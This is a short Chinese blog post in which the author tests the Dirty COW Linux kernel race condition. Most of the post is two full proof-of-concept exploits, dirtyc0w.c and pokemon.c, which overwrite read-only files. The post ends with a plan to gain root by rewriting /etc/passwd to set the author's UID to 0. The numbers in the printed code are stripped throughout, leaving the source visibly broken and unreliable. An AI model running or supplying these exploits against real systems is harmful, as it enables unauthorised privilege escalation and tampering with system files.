dirtycow漏洞

dirtycow漏洞，原理还没看懂，找了几个PoC实验了一下。

dirtyc0w.c我在CentOS和Kali上都失败了

pokemon.c在CentOS上成功修改了只读文件，不过修改的不是很顺利，结尾总是有其他字符。

dirtyc0w.c

 /*
 ####################### dirtyc0w.c #######################
 $ sudo -s
 # echo this is not a test > foo
 # chmod 0404 foo
 $ ls -lah foo
 -r-----r-- 1 root root 19 Oct 20 15:23 foo
 $ cat foo
 this is not a test
 $ gcc -pthread dirtyc0w.c -o dirtyc0w
 $ ./dirtyc0w foo m00000000000000000
 mmap 56123000
 madvise 0
 procselfmem 1800000000
 $ cat foo
 m00000000000000000
 ####################### dirtyc0w.c #######################
 */
 #include <stdio.h>
 #include <sys/mman.h>
 #include <fcntl.h>
 #include <pthread.h>
 #include <unistd.h>
 #include <sys/stat.h>
 #include <string.h>
 #include <stdint.h>

 void *map;
 int f;
 struct stat st;
 char *name;

 void *madviseThread(void *arg)
 {
   char *str;
   str=(char*)arg;
   int i,c=;
   for(i=;i<;i++)
   {
 /*
 You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/security/vulnerabilities/2706661
 > This is achieved by racing the madvise(MADV_DONTNEED) system call
 > while having the page of the executable mmapped in memory.
 */
     c+=madvise(map,,MADV_DONTNEED);
   }
   printf("madvise %d\n\n",c);
 }

 void *procselfmemThread(void *arg)
 {
   char *str;
   str=(char*)arg;
 /*
 You have to write to /proc/self/mem :: https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c16
 >  The in the wild exploit we are aware of doesn't work on Red Hat
 >  Enterprise Linux 5 and 6 out of the box because on one side of
 >  the race it writes to /proc/self/mem, but /proc/self/mem is not
 >  writable on Red Hat Enterprise Linux 5 and 6.
 */
   int f=open("/proc/self/mem",O_RDWR);
   int i,c=;
   for(i=;i<;i++) {
 /*
 You have to reset the file pointer to the memory position.
 */
     lseek(f,(uintptr_t) map,SEEK_SET);
     c+=write(f,str,strlen(str));
   }
   printf("procselfmem %d\n\n", c);
 }

 int main(int argc,char *argv[])
 {
 /*
 You have to pass two arguments. File and Contents.
 */
   if (argc<) {
   (void)fprintf(stderr, "%s\n",
       "usage: dirtyc0w target_file new_content");
   return ; }
   pthread_t pth1,pth2;
 /*
 You have to open the file in read only mode.
 */
   f=open(argv[],O_RDONLY);
   fstat(f,&st);
   name=argv[];
 /*
 You have to use MAP_PRIVATE for copy-on-write mapping.
 > Create a private copy-on-write mapping.  Updates to the
 > mapping are not visible to other processes mapping the same
 > file, and are not carried through to the underlying file.  It
 > is unspecified whether changes made to the file after the
 > mmap() call are visible in the mapped region.
 */
 /*
 You have to open with PROT_READ.
 */
   map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,);
   printf("mmap %zx\n\n",(uintptr_t) map);
 /*
 You have to do it on two threads.
 */
   pthread_create(&pth1,NULL,madviseThread,argv[]);
   pthread_create(&pth2,NULL,procselfmemThread,argv[]);
 /*
 You have to wait for the threads to finish.
 */
   pthread_join(pth1,NULL);
   pthread_join(pth2,NULL);
   return ;
 }

pokemon.c

 // $ echo pikachu|sudo tee pokeball;ls -l pokeball;gcc -pthread pokemon.c -o d;./d pokeball miltank;cat pokeball
 #include <fcntl.h>                        //// pikachu
 #include <pthread.h>                      //// -rw-r--r-- 1 root root 8 Apr 4 12:34 pokeball
 #include <string.h>                       //// pokeball
 #include <stdio.h>                        ////    (___)
 #include <stdint.h>                       ////    (o o)_____/
 #include <sys/mman.h>                     ////     @@ `     \
 #include <sys/types.h>                    ////      \ ____, /miltank
 #include <sys/stat.h>                     ////      //    //
 #include <sys/wait.h>                     ////     ^^    ^^
 #include <sys/ptrace.h>                   //// mmap bc757000
 #include <unistd.h>                       //// madvise 0
 ////////////////////////////////////////////// ptrace 0
 ////////////////////////////////////////////// miltank
 //////////////////////////////////////////////
 int f                                      ;// file descriptor
 void *map                                  ;// memory map
 pid_t pid                                  ;// process id
 pthread_t pth                              ;// thread
 struct stat st                             ;// file info
 //////////////////////////////////////////////
 void *madviseThread(void *arg)             {// madvise thread
   int i,c=                                ;// counters
   for(i=;i<;i++)//////////////////// loop to 2*10**8
     c+=madvise(map,,MADV_DONTNEED)      ;// race condition
   printf("madvise %d\n\n",c)               ;// sum of errors
                                            }// /madvise thread
 //////////////////////////////////////////////
 int main(int argc,char *argv[])            {// entrypoint
   if(argc<)return                        ;// ./d file contents
   printf("%s                               \n\
    (___)                                   \n\
    (o o)_____/                             \n\
     @@ `     \\                            \n\
      \\ ____, /%s                          \n\
      //    //                              \n\
     ^^    ^^                               \n\
 ", argv[1], argv[2])                       ;// dirty cow
   f=open(argv[],O_RDONLY)                 ;// open read only file
   fstat(f,&st)                             ;// stat the fd
   map=mmap(NULL                            ,// mmap the file
            st.st_size+sizeof(long)         ,// size is filesize plus padding
            PROT_READ                       ,// read-only
            MAP_PRIVATE                     ,// private mapping for cow
            f                               ,// file descriptor
            )                              ;// zero
   printf("mmap %lx\n\n",(unsigned long)map);// sum of error code
   pid=fork()                               ;// fork process
   if(pid)                                  {// if parent
     waitpid(pid,NULL,)                    ;// wait for child
     int u,i,o,c=,l=strlen(argv[])        ;// util vars (l=length)
     for(i=;i</l;i++)//////////////////// loop to 10K divided by l
       for(o=;o<l;o++)//////////////////////// repeat for each byte
         for(u=;u<;u++)////////////////// try 10K times each time
           c+=ptrace(PTRACE_POKETEXT        ,// inject into memory
                     pid                    ,// process id
                     map+o                  ,// address
                     *((long*)(argv[]+o))) ;// value
     printf("ptrace %d\n\n",c)              ;// sum of error code
                                            }// otherwise
   else                                     {// child
     pthread_create(&pth                    ,// create new thread
                    NULL                    ,// null
                    madviseThread           ,// run madviseThred
                    NULL)                   ;// null
     ptrace(PTRACE_TRACEME)                 ;// stat ptrace on child
     kill(getpid(),SIGSTOP)                 ;// signal parent
     pthread_join(pth,NULL)                 ;// wait for thread
                                            }// / child
   return                                  ;// return
                                            }// / entrypoint
 //////////////////////////////////////////////

提权的思路大概是修改/etc/passwd然后给自己的账户的UID改成0。目前用pokemon.c写入大段文字只写了一行，没有换行，可能是\n\r这种问题。